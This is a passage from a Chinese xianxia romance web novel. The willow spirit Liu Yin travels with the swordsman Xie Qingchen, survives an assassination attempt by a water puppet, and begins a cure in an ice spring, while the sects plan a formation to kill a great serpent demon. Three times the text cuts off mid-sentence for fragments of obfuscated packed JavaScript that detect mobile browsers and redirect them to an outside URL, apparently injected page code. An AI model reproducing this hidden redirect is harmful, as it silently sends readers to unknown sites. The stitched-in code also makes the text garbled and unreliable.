行吧,仙人辟谷,大概不需要吃饭。 柳音看着他,眼睛亮晶晶的:“那你去沐浴吧,我一会儿过去给你换药。” 谢清尘微微犹豫,半晌,点头:“好。” 见他没拒绝,柳音开心不已,快速吃完晚饭,然后将盘碗收拾起来,端着托盘去他的房间。 谢清尘果然已经洗过澡,穿着里衣在那里等她,桌上药瓶也已经摆好。 不用柳音催促,谢清尘自己把衣服脱了,他身上的伤竟然已经好了大半,甚至一些微小的伤口已经愈合,只余下一点浅淡的痕迹。 不愧是仙人体魄,这也好得太快了。 柳音一边给他换药包扎,一边遗憾。 本来还想多给他换几次药,现在看来,今天就是最后一次了。 她恋恋不舍地又多看几眼,在美男身上来回逡巡,直到他把衣服都穿好了,她还不想走。 “白天睡多了,我这会儿不困,你陪我聊天吧。”柳音坐到靠窗边的茶桌旁,撑着腮斜倚在那里,湖绿的湘裙铺展开,勾勒出杨柳细腰,纤纤不盈一握。 谢清尘翻开茶盏给她倒水:“你想聊什么?” 柳音思索着,笑眯眯道:“说说我们第一次见面吧,是什么样子的?我都不记得了。” 似乎没想到她想聊这个,谢清尘神色微怔。 柳音不禁疑惑:“怎么了?我们第一次见面,不愉快吗?” “不是。”谢清尘缓缓摇头,“只是两百多年前的事,有些久远了。” 两百多年? 柳音暗自心惊,她竟然这么大岁数了? 她还以为她比黎娘小呢。 “我第一次见你……大约是我刚出生的时候,那时你还是一株柳树,长在村口的河边上。”谢清尘看着柳音,慢慢道,“我娘抱着我,在你的树荫下乘凉,还有很多同村的邻居,小孩们都喜欢围着你捉迷藏。” 柳音:…… 原来她是长在他们村口的一棵大柳树。 这一生也算是明了了。 “后来我长大了,去镇子里上学堂。每日傍晚回家,远远看到你,我就知道快要到家了。我在你的树下躲过雨,睡过觉,藏过铜板,还跟你说过话。你用枝条拨弄过我的头发,我也不知道那时候,你有没有听懂。” “你跟我说的什么?”柳音好奇地问。 “太久了,不记得了。”谢清尘扯了扯唇角,“大概是向你抱怨吧,我娘又揍我了之类的。” 他低垂着眸子,沉默一会儿,又继续道:“再后来,有一天,我从学堂回家,看到村子起火了。我爹娘,还有那些邻居,全都烧死了,只剩我一个。” “都死了?”柳音惊讶,“为什么会起火?” “是夤蛇。”谢清尘眉眼冷峻,“他受重伤流落到那里,为了进补,吸干全村人的血,然后放火烧了村子。” 柳音默默唏嘘,没想到他的命还挺惨。 “我离开村子,去外面讨生路,临走的时候,看到你被烧焦大半,树干上还有火苗。我用瓦罐给你泼水,把火扑灭了,也不知道你还能不能活。” “离开村子以后,我四处流浪,机缘巧合遇到师父。他说我根骨不错,把我带回蓬莱仙宗,教我修炼剑术,引我入仙门。后来,我回去过一次,村口的柳树已经不见了……那时我以为你死了。” “我不知道你有了灵智,化成人形,去蓬莱仙宗是为了寻我……”薄削的唇线抿得僵直,谢清尘默默看着柳音,哑声道,“对不起,我没有早点认出你。” 柳音没有那些记忆,也感受不到前世的痛苦,她扬起眉梢,轻笑道:“没关系,你不是也救过我?若不是你给我泼水,恐怕我早就死了。” 谢清尘盯着她仔细打量,清俊独绝的脸庞心事重重:“你真的什么都不记得?” “我若是记得,恐怕就不会和你在这里说笑了吧?”柳音笑眯眯地看着他。 清幽的夜风从半启的窗缝间吹过来,拂起她的发丝轻轻飘动。 她的面容漂亮若芙蕖,唇边的笑容恬淡又温柔,一双会说话的大眼睛里面满盈盈的都是他的影子,俏生生地坐在他面前,仿佛没有丝毫怨怼。 狭长的眼尾氤氲着雾气,谢清尘弯起唇角,轻轻点了点头。 随着咚咚的一阵细微的敲击声,忽然从窗外飞进来一只带荧光的蝴蝶,扑扇着翅膀飞到谢清尘面前。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991901|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢清尘抬起手,那只蝴蝶落到他指尖。 “无尘,你在哪里?”一个年迈的女声传来,“云麓仙宗要开斩蛇大会,其他宗门都已经到了。我带玥瑶他们先走,你也尽快赶去。别叫那些人挑理,说我们蓬莱仙宗不懂规矩。” “知道了,师娘,我随后就到。”谢清尘说完,屈指弹了下蝴蝶翅膀,那蝴蝶便又轻飘飘地飞走了。 柳音看得稀奇:“那是什么?” “传音蝶,可以千里传音。” 柳音眼睛一亮:“那蝴蝶能飞到阴间吗?” “不能。” 行吧。。 不能就算了。 “我师父已经仙游了,如今是师娘代管宗门。”谢清尘顿了顿,又道,“师娘是你的师父。” “我的师父?” “师娘有两个徒弟。”谢清尘介绍道,“一个是你,另一个是沐玥瑶。玥瑶是和我一起长大的师妹,她是师娘的女儿,也是你的师姐。” 柳音抬起眼帘,想起他的那位宝贝师妹,想必就是这位沐玥瑶了。 不过她对那师父和师姐都没什么兴趣,也懒得再多问。 毕竟她在阴曹地府,没收到过任何阳间烧给她的纸钱和祭品,想来那位师父和师姐也并不怀念她。 翌日早上继续赶路,过午的时候,将将赶到云州。 檀溪镇是云州城内最繁华的一个镇,三街六坊十八条街,繁华热闹,人口颇多。 这么大的城镇,要找一个七十多年前的人,根本无从找起。 谢清尘直接带柳音去衙门口查户籍。 那管户籍的主簿见了他们,如见天人,问什么答什么,态度热络又殷勤。 在库房里翻找一下午,总算找到苏夜黎和薛怀安的户籍。他们是一对夫妻,在前朝光隆二十年结契,家中开着一家医馆,两人没有子嗣。薛怀安在光隆二十三年腊月失踪,苏夜黎死于光隆二十五年元月十五,这便是全部记载。 薛怀安失踪了,找不到他的去向。 柳音和谢清尘又去他们曾经居住的平阳坊四处打听,可是没人听说过他们的名字,也没人记得这条巷子里曾经有一家名叫“仁心堂”的医馆。 看来是找不到了。 柳音觉得遗憾,却也没办法,这世间总是有很多不如意。 等她找机会,将这个消息带给黎娘,叫她别等了。 不知不觉,天色已经黑了。 谢清尘找客栈投宿,要了两间上房并一些饭菜。 等着吃晚饭的时候,柳音站在窗边,打量外面的热闹街市。 檀溪镇似乎以米酒出名,到处都有酿酒作坊,满街插着招展的酒旗,还有很多琳琅满目的美食铺子,来往行人穿梭如织,看上去十分热闹。 谢清尘见她感兴趣:“要不要出去逛一逛?想吃什么?” 柳音摇摇头,她累了一天,一动都不想动:“你去吧,我想吃糯米鸡、荷叶圆子……对了,再要一壶米酒。” 谢清尘看她一眼,眼神有些迟疑,半晌还是点头去了。 柳音托着腮,坐在窗边等他,心里默默盘算。 等谢清尘回来,她就叫他陪她一起吃饭。 然后再喝点酒,说不定能亲亲小嘴,话本子里都是这么写的。 5. 005 咚咚咚的敲门声响起,柳音以为是谢清尘回来了。 她说了声“进来吧”,没想到进来的是店小二,端着托盘殷勤道:“姑娘,你的饭菜好了。” 他把饭菜摆到桌上,手脚麻利又干脆,然而下一瞬,他的眼神就变得凶恶起来,从袖中抽出一柄雪亮匕首,猛地飞扑上去要抹柳音的脖子。 柳音惊叫一声,吓得腿都软了,僵在那里动弹不得,脑海里只剩一片空白。 就在她以为自己要死了的时候,眼前忽然闪过一道白光,谢清尘瞬间闪现到房中,高大的身形牢牢挡在她前方,森冷的眉眼戾气横生,抬手挥剑杀气四溢,暴虐又磅礴的剑气裹挟着雷霆万钧之势劈头盖脸斩向店小二,几乎瞬间便将他斩碎成千万块。 柳音绝望又惊恐的尖叫声卡在嗓子眼里,几乎能想见那一个人被瞬间凌迟,喷涌出的血水和散落的碎肉残肢会是多么血腥残忍的画面。 然而没想到,那店小二的身体碎裂成千万块之后,竟然无声无息地洒落到地上,转瞬便化成一摊水渍,只余一柄刃口泛红的匕首孤零零躺在地上。 滴答。 一颗水滴从谢清尘的剑尖滑下,滴落到那摊水中。 英俊冷酷的面庞阴冷肃杀,谢清尘震剑回头,仿佛是收割人命的煞神,骇得柳音脸色发白,满眼陌生地盯着他,仿佛不认识他了一样,止不住想要逃跑。 意识到自己吓到她了,谢清尘收剑入鞘,面色渐渐缓和下来,周身杀意也转瞬消散。 他走到柳音旁边,轻轻拉起她的手,放柔语气:“你没事吧?” 那个熟悉的他似乎又回来了,柳音慢慢松了一口气:“他为什么要杀我?” “他是水傀儡,被人操控的。”谢清尘抬起手,那柄匕首浮到半空,他审视着泛红的刃口,语气沉重,“这匕首上淬了赤焰毒,可以杀鬼……看来是专门冲你来的。” “是谁要杀我?”柳音慢慢缓和过来,不由觉得好奇,是谁对她这么深仇大恨,连她死了都不放过? “不清楚。”谢清尘蹙着眉峰,将匕首收起来,眸光瞥向窗外,“水傀儡在这里,说明操控他的人,离这里不远。他能知道你我的行踪,想必……是个熟人。” “我好害怕。”柳音走过去扯着他的袖子,眨着水汪汪的大眼睛,“你晚上能不能留在这里陪我?” 谢清尘宽慰道:“你别怕,那人应该已经走了,一击不成,他今夜不敢再来。我就在隔壁,有任何异动,我都能听到。” “可是你不在,我恐怕睡不好。”柳音摇摇他的袖子,“你不是说要保护我吗?” 看着她的眼睛,谢清尘默了会儿,终究点头:“好,我不走。” 柳音高兴了,拉他到桌边坐下,看他带回来的那些好吃的。 糯米鸡买了,荷叶圆子买了,米酒也买了,还有一些杂七杂八的小点心。 那个水傀儡送来的饭菜是不敢吃了,柳音只吃谢清尘带回来的东西。 谢清尘不需要吃饭,便从乾坤袋里取出一本修炼秘籍,坐在旁边翻看。 “这个荷叶圆子好好吃!你要不要尝尝?” 柳音眼中漾着兴奋的光,用汤勺盛起一颗粉白的圆子,举到谢清尘面前。 垂眸看着那颗圆子,谢清尘似是想起什么,眼中神情有些悠远。 见他没反应,柳音以为他嫌弃汤勺是她用过的,正要收手,他却忽然低头含入口中,品了几品,评价道:“好吃。” 柳音抿着唇角,不禁欣喜,他明明可以拒绝,可还是把那颗圆子吃了。 他不嫌弃汤勺是她用过的,不介意上面有她的口水,也就是说,他不介意和她亲亲。 “你喝酒吗?”柳音拿起酒壶,给自己斟了一杯米酒,又向他示意。 “我不饮酒。”谢清尘这次拒绝了,“你……少喝点。” 他不喝,柳音也没法逼他,只能自斟自饮。 这种米酒不烈,味道酸酸甜甜,喝起来还挺顺口。 只是喝着喝着,柳音觉得有些头晕,看东西也重影,她大概是酒量不好,有些醉了。 “我才喝了一杯?就一杯呀?”柳音举着小杯子,倒过来甩了甩,想看里面还有没有酒。 谢清尘握住她的手腕,把酒杯抢下来:“你醉了,去歇着吧。” “那、那你扶我。”柳音晕乎乎地站起身,没骨头似的,直往他怀里倒。 谢清尘半搂半抱地把她扶到床边,让她躺好,可她却两手圈住他的脖子,怎么都不肯松开。 “我没醉,我只是觉得有些头晕……谢清尘。” 明若芙蕖的漂亮脸庞浮着两抹绯色红晕,她那翦水秋瞳一般的眼睛直勾勾地望着他,从她口中吐出他的名字,轻柔细软的音调,仿佛给他下了蛊,一点点染红了他的耳根。 两手撑在她身侧,谢清尘闻到她身上的香气,有荷叶圆子的黏糯,有米酒的酸甜,还有细雨浸润的柳枝的清新……狭长的眸子漆黑深邃,从那轻烟淡水的蛾眉扫落,划过翘挺的小鼻子,落到那花儿一般柔润的唇瓣上…… 他的气息乱了起来,灼烫的手掌忍不住贴上她的颈侧,可他却依旧忍耐着,眸底一片隐忍和挣扎。 柳音不明白他在犹豫什么。 明明他也是想和她亲近的,她能感觉到。 等了半天已经不耐烦了,看来还是要她主动才行。 两手搂紧他的脖子,柳音仰起头,正要亲亲他,谢清尘却忽然攥住她的手腕,一下将她按回枕上。 柳音愣在那里,连酒意都醒了三分,满眼不解地望着他:“你……修的是无情道吗?” 谢清尘缓缓摇头:“我修的是剑道。” “修剑道也不能动情吗?”柳音猜测,“还是说,你其实并不喜欢我?” 她盯着他的眼睛:“不喜欢,为什么要去阴曹地府找我?” “……喜欢。”谢清尘轻轻攥紧她的手,狭长的眼尾隐忍到发红,默默看着她,声音低沉又喑哑,“我喜欢。” 柳音更不解了,眼神困惑又迷茫:“你喜欢,那你为什么不肯亲我?” 谢清尘一动不动地盯着她,漆黑狭长的眸子里有挣扎涌动的欲.念浮沉。 “我怕忍不住。”良久,他俯下身,用微凉的唇轻轻蹭她的额头,“你的身子骨太弱了,现在还不行。” 柳音眨了眨眼,有些不太明白。 谢清尘握住她的手,在她耳边道:“你的柳哨时间太久了,现在已经变干变脆,一不小心就会碎掉。” “我连抱你都不敢用力,生怕把你的哨子弄坏……所以别再撩拨我了,我不能冒险。” 柳音听明白他的意思,脸颊不禁热起来,原来他早已看穿她的把戏。 抬起手背盖住眼,她忍不住笑。笑了一会儿,她又将手指露出一条缝,从指缝里看着他,喃喃问:“那……什么时候才可以?” “等去了北弥山,等你的焦木复苏,重新长回树身。”谢清尘拉起锦被,给她盖好,又给她放下床帐,“睡吧,我在这里守着你。” 那似乎还要很久啊……柳音迷迷糊糊地想着。 也许是喝了酒的缘故,她这一觉睡了三天。 再睁开眼,已经到了北弥山。 北弥山坐落于九州极北的方外之境,相传为得道大能青衍仙尊避世归隐的居所。 那里终年覆盖着积雪,千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991902|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里冰封,渺无人迹。然而那里的天光极美,紫色烟霞与月白星辉共舞,千变万幻,色彩斑斓。 柳音身上裹着厚厚的狐皮大氅,流目望着霓虹流岚的天空,还有那雪山上到处盛放的洒金绿萼梅花,快要看呆了,她还没见过这么漂亮的美景。 “小心台阶。”谢清尘怕她不看路,拉着她的手,带她去见青衍仙尊。 青衍仙尊鹤发白眉,仙风道骨,矍亮的眼神盯着柳音上下打量,须臾之后,抚须长叹:“你还真把她带回来了……罢了罢了,那就随你吧。” “多谢前辈!”谢清尘行礼致谢。 “先别急着谢。”青衍仙尊瞥向柳音,语气冷淡道,“那寒凝泉冰冷刺骨,阴寒至极,可不是一般人能消受的。中途一旦离开泉水,便会前功尽弃,就算能坚持到最后,能不能向死而生,也要看各人造化,你可知晓?” 寒凝泉又名三光泉,意指在泉水中可同时沐浴日、月、星三种光,经过泉水和三光洗礼,有生死人、肉白骨之功效。 像柳音这种柳树妖,原身被烧成焦木,要想重新生根发芽,少不了要在泉水中浸泡三五年。 这些在来的路上,谢清尘已经跟柳音讲清楚。 迎着谢清尘满含期待的目光,柳音不好临阵退缩,只能硬着头皮对青衍仙尊道:“既然已经来了,您容我试试吧。” 青衍仙尊捋着胡须,也不再多言,抬手召来一只雪傀儡,带他们去山顶。 一路顶风冒雪,走了大半个时辰,终于爬到山顶。 进一处洞穴,感觉像是进了冰窟,冷冰冰的岩石中间蓄着一汪寒池,池水中浮着厚厚的冰凌,还有一块丈多长的黑色焦木。洞顶是塌陷的洞口,五颜六色的天光从洞口落下,不大不小,刚好笼罩住那方寒池。 谢清尘拉着柳音,走到池边:“你试试这水,能不能受得了?” 柳音踢掉鞋袜,伸脚探水,素白的脚趾才刚触到水面,一股刺骨的寒意便从脚尖直窜上天灵盖,冻得她一个激灵,连忙把脚收回来。 见她十分抵触,谢清尘握住她的手,又鼓励道:“寒凝泉水确实很冷,突然间恐怕受不住。你慢慢来,别着急,试着一点点入水。” 柳音站在一旁,满脸不情愿。 敢情要下冰水的人不是他,就会说风凉话,他怎么不自己入水试试? 谢清尘好说歹说,柳音就是不肯下水,他拿她没辙,只能叹息道:“实在不行……我再想想别的办法。” 柳音撇了撇嘴,怎么想都觉得不应该。 她安安稳稳留在阴曹地府当个咸鱼懒鬼不好吗?干吗非要千里迢迢跑到这冰窟窿下寒泉?甚至很可能要在这冻死人的冰水里一泡就是三五年? 越想越后悔,柳音忍不住想扭头就走。 可是抬头看到谢清尘那张俊脸,满是担忧却又拿她没办法的温柔眼神,柳音又有些舍不得他的美色。 要想品尝他的美色,她就必须先找回树身。 要想找回树身,她就必须跳进寒泉泡上三五年,她的焦木才能复苏发芽。 问题是为了区区一个男人,是否值得她如此? 柳音盯着谢清尘看了半晌。 英姿俊美,天下无双,实在好看的紧。 为了得到这样的美男子,先在冰水里泡上三五年,似乎也不是不能忍? 反正不过是浸在冰水里,又不需要她做什么,就当是泡澡吧。 何况北弥山寒凝泉这种神仙地方,多少人穷极一生都无法靠近一步。而且能让她的焦木复苏,这也是对她百利无一害的事。 权衡一番利弊,柳音好不容易说服自己,暗暗咬牙,鼓足勇气,忽地纵身跃入水中。 6. 006 柳音坠入冰冷刺骨的寒泉中,周身血液瞬间凉透,感觉体内快要冻出冰渣了。 耳边隐约传来谢清尘焦急的呼唤声,她不受控制地向下坠,怎么都触不到底。 这寒凝泉可真是冷到骨子里,闭着眼睛蜷缩成一团,柳音渐渐缓和过来,手脚可以慢慢滑动。毕竟她是半人半鬼,本就阴气重,到了这种极寒之地,虽然感觉十分痛苦,但是勉强还能承受。 胸腔里憋得快要没气了,柳音正要用力向上游去,旁边却又“扑通”一声,谢清尘也跳了下来。 他从水下快速游过来,伸手搂住柳音的腰,带她一起浮上水面。 “你、你怎么也下来了?”柳音大口大口喘息着,脸色冻得煞白,唇齿哆哆嗦嗦,不停打颤。 谢清尘却仿佛不怕冷一样,丝毫不受这冰水影响,轻抚她的脸,后怕道:“柳音,你别吓我。” “我没事。”柳音摇摇头,作出一副善解人意的样子道,“这水还行,没那么冷。你赶紧走吧,不是还急着去斩蛇大会?” 她说着,又拉住谢清尘的袖子,依依不舍地盯着他的脸:“等你有空的时候,记得来看我呀。” 确认她真的可以待在寒泉中,谢清尘握紧她的手,许诺道:“斩蛇大会要建法阵,可能要忙一阵子,等下个月,我一定来看你。” 眼睁睁看着谢清尘一步三回头地走了,柳音划着水游向那块丈多长的黑色焦木,触手便感觉到一种强烈的熟悉感和亲近感,还有种浓烈的悲怆和痛楚侵袭上心头。 一瞬间,有万千记忆涌入脑海,仿佛无数尖针刺进她的脑仁。柳音疼得龇牙咧嘴、面目狰狞,可那尖锐的刺痛来得快去得也快,转瞬便像潮水一般退去,什么都没留下。 柳音愣了一会儿,还是什么都想不起来,她又试探着去触摸那段焦木。可是这一次,不管她怎么用力触碰,再没有发生任何异样。 她猜测,可能因为焦木还是死的吧,等它重新生根发芽,也许她的记忆就能恢复了。 岩洞外面又开始下雪,扑簌簌的鹅毛一般飞舞在天地间,连从洞顶垂落的天光都黯淡下来。 柳音在寒凝池里游了几圈,越游越冷。 她在这池水里不会饿也不会渴,可是除了那块焦木,就只有她孤零零一个人,连雪傀儡都没了影子。 实在是无聊透顶,柳音游到焦木旁边,抱住自己烧焦的原身,渐渐陷入沉睡之中。 睡梦中也还是很冷,她梦到一场大雪,铺天盖地的白,将那个烧得断壁残垣的小村子覆盖起来,到处白茫茫一片。 她从厚厚的雪堆里钻出来,睁开一双崭新的眼睛,纯净天然,清澈明亮。 她变成人了。 身上枝叶变成绿裙,包裹住她的身体,她在白茫茫的雪地里徜徉,好像在找什么。 她要找什么呢? 对了,她要找人。 找一个穿蓝衣服的小男孩,小男孩长大了,成为一个俊俏好看的少年。 她想起来了。 他在她的树下避过雨,睡过觉,藏过钱,打过架。 他还爬到她的树梢,折断很多柳条,盘成草帽或者削成柳哨,坐在她的头顶吹得嘀嘀作响。 他甚至还像野狗野猫一样,在她的树根处撒过尿,气得她用柳条抽了他好几下。 可是在她快被大火烧死的时候,也是他给她泼水,浇灭她身上的火苗,救了她。 她想找到他,对他说声谢谢,然后和他做朋友,跟他一起玩。 可是他去哪里了? 她走了很久很久,沿着他留下的气息,一路找寻过去。 从村子到镇上,又从镇上到城里,走过一州又一州,走了快一百年,终于找到他的下落。 原来他去了东州,在蓬莱仙宗。 临到蓬莱山门,她被拦下了,进不去。 因为那里有护山结界,任何妖魔鬼怪都不得入内。 她这才想起来,她是妖,一只化成人形的柳树妖。 若是让他知道她是妖,恐怕会害怕吧?他会不会就不想和她做朋友,不想和她一起玩了? 那怎么办? 她很苦恼。 她扎根在蓬莱山下,慢慢想对策。 可她想不出对策。 直到一天夜里,她看到好几个蓬莱弟子围伙欺负一个穿白衣服的小弟子,拳脚交加,连踢带踹,快要把人打死了。 她看不过眼,用柳条当鞭子,将那些欺负人的坏东西抽得哭爹喊娘,狼狈逃走。 被她救下的白衣小弟子,满眼感激又十分畏惧,问她是妖吗,为什么柳树会打人? 她觉得这个小弟子很有趣,于是化成人形,问他怕不怕? 小弟子向她道谢,说她虽然是妖,可比许多人好多了。 小弟子又问她,有没有什么能帮她做的,作为给她的回报。 她说她想进蓬莱仙宗,去找人。 几日后,那小弟子送给她一颗丹药,说是他炼制出来的,可以将她身上的妖气隐匿,就像普通人一样。 她吃了丹药,果然顺利通过结界。 小弟子带她上山,告诉她山上正在招募新弟子,她可以去试试看。 小弟子还叮嘱她,千万要记住,一定不能告诉任何人,她是妖。 她去了山上,找到新弟子报名的地方,远远看到一个熟悉的人影。 她一眼就能认出来,那是他。 他长高了,也长大了,身形更挺拔,面容也更英俊,一袭墨蓝衣袍英姿飒爽,郎艳独绝,好看极了。 “姑娘,你叫什么名字?”做登记的弟子问她。 “名字?”她有些茫然。 做登记的弟子提着笔,等着她:“你不说名字,我怎么登记?” 她看着远处那道蓝色身影,轻声道:“我叫……柳音。” 他说过,她的声音好听。 用她的枝条做成的柳哨,吹出来的声音,比其他任何柳树做出来的哨子都要好听。 * 谢清尘离开北弥山,又过两日方才赶到云麓仙宗。 前山正中矗立着巍峨肃穆的议事大殿,殿顶覆盖着琉璃金瓦,殿门前九根盘龙石柱,龙睛开阖间,如有实质的威压弥漫。 此刻殿门大开,有激烈的争论声穿透而出,九州仙门十三宗汇集一堂,正在商讨对付大妖夤蛇的办法。 “夤蛇烛婴乃是上古大妖,钢筋铁骨,妖力非凡,多少仙门同侪死于他手中,不是仅凭一人之力能对付得了的!” 云麓仙宗的宗主道玄仙尊是备受世人尊崇的正道魁首、仙门至尊,他坐在上首主位上,沉声道:“要想对付夤蛇,最好的办法就是修建四方阵,集合我们众仙门之力,将那蛇妖彻底斩杀!” 目光扫向四周众人,他抚着长须问:“诸位觉得怎么样?” 关于修建“四方阵”,诸仙门早已心知肚明。 所谓“四方阵”,就是在天南海北东西两极四个方位各择一处阵眼,修建起强有力的阵法工事,凭借四方地脉和灵气,共同发挥出撼天动地的巨大威力。 道玄仙尊想让众仙门合力修建四方阵,能够斩杀夤蛇,这自然是好事。 只是修建阵法,必然要耗费巨万资源和灵石。即便是最富庶最兴旺的仙门,要想腾出一大笔精力和财力去修建阵法,也要好生掂量一番。 于是面对道玄仙尊问话,众仙门你看我我看你,都有些犹豫和迟疑,谁都不想率先回应。 谢清尘就是在这时候来的。 一袭雪衣清冷如霜,英挺的身姿如琼枝玉树,气质卓然,俊逸出尘,一进大殿便吸引住所有人目光。 “是无尘剑尊!听说他已出关,没想到他真的来了!” “竟然能见到无尘剑尊,他是不是已经突破化境了?这趟可真没白来……” “要杀夤蛇,无尘怎么可能不来?我早猜到他会来。” “听说夤蛇杀了他的父母和族人,后来又杀了他师父,还让他亲手杀了自己师妹,啧啧……” “谢清尘和夤蛇,简直不共戴天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991903|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” …… 嘁嘁喳喳的议论声中,谢清尘走到大殿中央,与众人见礼,告罪自己来晚了。 “无尘,三年未见,你已突破化境?不错。”坐在上首的道玄仙尊笑眯眯打量着他,同时轻飘飘地挥出一道掌风,直击他的面门。 谢清尘面不改色站在那里,连衣袖袍角都不曾晃动分毫,而大殿外面却忽地刮起猛烈的狂风,霎那间飞沙走石,昏天暗地,连大殿顶上粼粼千瓣的琉璃金瓦都随之震得叮当作响。 大殿里面齐齐色变,仿佛也被那无形的风刀贴身刮割过一般,真真切切地感受到一名化境强者的威力。 “开、元、真、化、离”五境,每一境都有九重,多少人停滞在元境第九重,终其一生都无法突破真境。 除了那些已经避世的得道大能,修为最高深的道玄仙尊如今方才达到离境第五重,而谢清尘年纪轻轻就已突破化境,着实令人心惊。 他的修为高深且剑术超群,单在剑道方面,已经无人能出其右。所以他虽然在仙门中辈分不高,但是常人见了他,往往都会尊称一声“无尘剑尊”。 “好,好!”道玄仙尊击掌赞叹,“不愧是陵光的徒弟,蓬莱仙宗后继有人了。” 众人钦羡又复杂的目光和恭维声中,蓬莱仙宗如今的掌事人曾夫人掩着口咳嗽几声,慢慢笑道:“仙尊说的是,无尘闭关这几年,一直勤于修炼,未曾有一日懈怠,以后将宗门事务交给他们这些小辈,我也能放心了。” 她的年事不算高,头发却已经全白了,连眼角都堆满层叠的皱纹,看一眼谢清尘,又看看坐在她身边的女儿沐玥瑶,露出一脸慈爱的笑容。 谢清尘走到曾夫人面前,低头行礼:“师娘。” “你总算来了。”曾夫人点点头,让他坐下。 “师兄。”沐玥瑶满眼欣喜地看着谢清尘,似乎有话想说,可当众不好开口,只能暂时按捺下来,两手纠结地交握在一起。 沐玥瑶是蓬莱仙宗的少宗主,在她旁边还有个空位,谢清尘却没坐那个位置,走到曾夫人身后站着,和那些蓬莱弟子们站在一起。 “曾夫人。”道玄仙尊慢慢捋着胡须,“刚才说的四方阵,不知你们蓬莱意下如何?” 曾夫人咳嗽几声,年迈的声音喘息着,带着满满的恨意道:“那夤蛇害死陵光,我们蓬莱仙宗与他不共戴天!修建四方阵,我们必然要出一份力,不如就由蓬莱修建东极阵眼吧。” 见她应下来,道玄仙尊总算放心了,目光又投向其他宗派。 眼看蓬莱仙宗已经同意修建四方阵,平素实力最为雄厚的太华剑宗也不甘示弱,当即承诺由他们修建南极阵眼。 另外还有人多势众的罗浮门与无极阁决定合力修建北极阵眼。 最后剩下的西极阵眼,由云麓仙宗带头,领着紫阳宫、合欢宗、药神谷等十多个小门派一起合力完成。 经过一番商议,修建四方阵的事,就这么定下了。 之后便是更加详尽琐碎的细节,包括观测天象选阵眼、完善阵法修造图纸等等,议事大殿里每日忙忙碌碌,每个人都不得闲。 由于曾夫人身体不好,不能过度操劳,她便将蓬莱仙宗这边的事务全部交由谢清尘处理,又让作为少宗主的沐玥瑶跟着他学习历练。 “师兄,这里的墙为什么这么厚?”沐玥瑶看不懂修造图纸,每天都有很多问题。 谢清尘耐心给她解释:“这是埋在地下的挡土墙,厚一点才能承重,而且里面要设置机关,所以比其他墙厚很多。” 沐玥瑶恍然点头,正想再问点别的,忽然一只传音蝶从窗外飞进来,翩翩落到谢清尘指尖。 看清蝴蝶翅膀上的“弥”字标记,谢清尘眉心蹙起,快步走到无人的僻静处。 “无尘,速来,你的小妖怪出事了。”蝴蝶扇动翅膀,传出的声音,正是青衍仙尊。 俊冷的面庞顿时一沉,谢清尘几个瞬移找到师弟孟湛交代事宜,然后便急匆匆离开云麓仙宗,御剑飞行,直奔北弥山。 7. 007 “她的焦木活不了了。” 青衍仙尊站在寒凝泉边,身前竖着一段丈多长、合抱粗的黑色焦木。 他指着焦木中心那个黑黢黢的圆洞,语气冷肃道:“她的树髓被抽走了。” 一棵树的树髓,相当于一个人的心脏。 她的树髓,被抽走了? 斜飞的剑眉重重一沉,谢清尘脸色发青,难以置信,哑声问:“您能不能看出,她的树髓是什么时候被抽走的?” 青衍仙尊沉声道:“你看这焦木,原本烧得面目全非,自从她来之后才泡发了,这才显露出中间的孔洞。也就是说,烧之前,她的树髓已经没有了。” 她……死在他剑下时,还是有树髓的,他可以肯定。 毕竟那一幕深深烙印在他的脑海里,他不可能记错。 可是烧她的尸体时,树髓没有了。 也就是说,有人在她死后,抽走了她的树髓。 难怪那些人,非要将她的尸体烧掉。 原来是为了掩盖抽树髓的事? 是谁干的? 一个人,还是那一群人? 要她的树髓,想干什么? 狭长的凤眸戾气沉沉,谢清尘慢慢撕开尘封在记忆深处的那道伤疤,一寸寸回忆着血淋淋的那一天,所有在场出现的每一个人,他们脸上的每一个表情,所说的每一句话。 难怪他前脚将柳音从阴曹地府带出来,后脚就有水傀儡去杀她。 只怕是偷她树髓之人担心东窗事发,迫不及待想彻底除掉她。 见他脸色实在难看,青衍仙尊缓和道:“她虽然活不了,但一时半会儿也死不了。她的柳哨已经转青,至少还能再坚持一年……大不了以后你每年带她来一次。” 柳音站在一旁,听得一愣一愣的。抬手捏捏挂在自己脖子上的柳哨,软软的,很柔韧,仿佛是用新鲜柳枝切下来刚做成的一样。 她眨了眨眼,大概明白了眼前的境况——她的焦木没有树髓不可能复苏,但她至少还能再活一年。 这么算起来,这一趟也不白来。 至少她的柳哨又变成新的。 绕过那块黑色焦木,柳音走到谢清尘旁边,拉拉他的袖子,微笑道:“没关系,你看我现在好着呢!” 